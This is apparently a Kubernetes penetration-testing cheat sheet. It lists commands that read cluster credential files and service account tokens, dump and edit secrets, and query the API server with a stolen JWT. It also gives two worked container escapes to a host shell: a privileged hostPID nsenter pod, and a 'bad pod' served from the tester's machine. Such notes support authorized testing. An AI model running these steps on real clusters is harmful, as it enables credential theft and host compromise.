# Kubernetes Pentesting

A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.

### Check if the Kubectl Command Available in Target Machine <a href="#check-if-the-kubectl-command-available-in-target-machine" id="check-if-the-kubectl-command-available-in-target-machine"></a>

```shellscript
kubectl -h
k0s -h
k0s kubectl -h
microk8s kubectl -h
```

If we cannot find kubectl, upload the binary from local machine.\
First off, install the kubectl in local machine.

```shellscript
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.server
```

Then download the binary file into remote machine.

```shellscript
wget http://<local-ip>:8000/kubectl -O /tmp/kubectl
chmod +x /tmp/kubectl
```

### Investigation From Inside <a href="#investigation-from-inside" id="investigation-from-inside"></a>

If we’re in the target system, investigate cluster, nodes, pods with the following commands:

```shellscript
# Check configurations
cat /etc/kubernetes/admin.conf
cat /etc/kubernetes/kubelet.conf

# JWT token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/

# Sensitinve information
ls -a /var/lib/k0s/containerd/

# All information
kubectl get all

# Permissions
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>

# Get namespaces
kubectl get namespaces

# Roles
kubectl get rolebindings -n <namespace>
kubectl describe <bind_name> -n <namespace>
kubectl describe role <role_name> -n <namespace>

## Cluster
# Start/stop cluster
minikube start
minikube stop
# Get status for cluster
minikube status
# Get cluster information
kubectl cluster-info

## Nodes
kubectl get nodes

## Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get pods from specific namespace
kubectl get pods -n <namespace>
# Get detailed information for pods
kubectl get pods -o wide
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml
# Get detailed information
kubectl describe pods <pod-name>
kubectl describe pod -n <namespace>
# ClusterRole information
kubectl describe clusterrole <role-name>
# ClusterRoleBinding information
kubectl describe clustrrolebinding <role-name>

# Get inside a target pod
kubectl exec -it <pod> -- sh

# Get logs of the pod/container
kubectl logs <pod>
kubectl logs-f <pod>

# Services
kubectl get svc

# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json

# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>

# ServiceAccounts
kubectl get serviceaccount
kubectl get serviceaccount -n <namespace>
# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to a ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer 
```

### Investigation via Kubernetes API Server <a href="#investigation-via-kubernetes-api-server" id="investigation-via-kubernetes-api-server"></a>

If we get the JWT, we can fetch information by the following commans.

```shellscript
# -k: insecure (HTTPS)
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/pods/
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/secrets/
```

### Privilege Escalation (Escape) using the Container Image <a href="#privilege-escalation-escape-using-the-container-image" id="privilege-escalation-escape-using-the-container-image"></a>

#### 1. Get Information About the Target Pod <a href="#id-1-get-information-about-the-target-pod" id="id-1-get-information-about-the-target-pod"></a>

```shellscript
kubectl get pods
kubectl get pod <target-pod> -o yaml

kubectl describe pod <target-pod>
```

In the output, check the image name in the containers image.

#### 2. Create a Pod Yaml File <a href="#id-2-create-a-pod-yaml-file" id="id-2-create-a-pod-yaml-file"></a>

Create "pod.yaml".\
Replace the containers image value (**\\\<image\_name>**) with the one we found in the previous section.

```shellscript
spec:
  hostPID: true
  containers:
    - name: '1'
      image: <image_name>
      command:
        - nsenter
        - '--mount=/proc/1/ns/mnt'
        - '--'
        - /bin/bash
  stdin: true
  tty: true
  securityContext:
    privileged: true
```

After that, convert the YAML to JSON using online tools such as the [Online Converter](https://www.convertjson.com/yaml-to-json.htm).\
In the tool, check the **“Minimize JSON”** to make the json to the one line.

#### 3. Run the New Container to Privilege Escalation <a href="#id-3-run-the-new-container-to-privilege-escalation" id="id-3-run-the-new-container-to-privilege-escalation"></a>

Replace with **\\\<image\_name>** with the one we found in the previous section.

```
kubectl run testbox --restart Never -it --rm --image newimage --overrides '{"spec":{"hostPID":true,"containers":[{"name":"1","image":"<image_name>","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin":true,"tty":true,"securityContext":{"privileged":true}}]}}'
```

Now we should escape the container and get a target shell.

### Privilege Escalation using Bad Pods <a href="#privilege-escalation-using-bad-pods" id="privilege-escalation-using-bad-pods"></a>

Reference: [everything-allowed-exec-pod.yaml](https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml)

#### 1. Download the Bad Pod <a href="#id-1-download-the-bad-pod" id="id-1-download-the-bad-pod"></a>

At first, you need to download the bad pod on your local machine.

```
wget https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml -O privesc.yaml
```

After downloading the yaml file, we need to replace the value of **metadata.containers.image** with the **existing container image** that we can find in the target container.\
Then start web server to allow the target machine to get this bad pod.

```shellscript
python3 -m http.server 8000
```

#### 2. Trasfer the Bad Pod to the Target Machine <a href="#id-2-trasfer-the-bad-pod-to-the-target-machine" id="id-2-trasfer-the-bad-pod-to-the-target-machine"></a>

On the target machine, download the bad pod from your local machine.

```shellscript
wget http://<your-local-ip>:8000/privesc.yaml
```

#### 3. Create the Pod <a href="#id-3-create-the-pod" id="id-3-create-the-pod"></a>

```shellscript
# Create the pod
kubectl apply -f privesc.yaml --token=<JWT>

# List all pods
kubectl get pods --token=<JWT>
```

#### 4. Get a Shell\*\* <a href="#id-4-get-a-shell" id="id-4-get-a-shell"></a>

```shellscript
kubectl exec -it everything-allowed-exec-pod --token=<JWT> -- /bin/bash
```

We should get a shell and can investigate the mounted folder.

```shellscript
cd /host
```

### References <a href="#references" id="references"></a>

* [madhuakula](https://madhuakula.com/kubernetes-goat/docs/kubernetes-goat-cheat-sheet/)
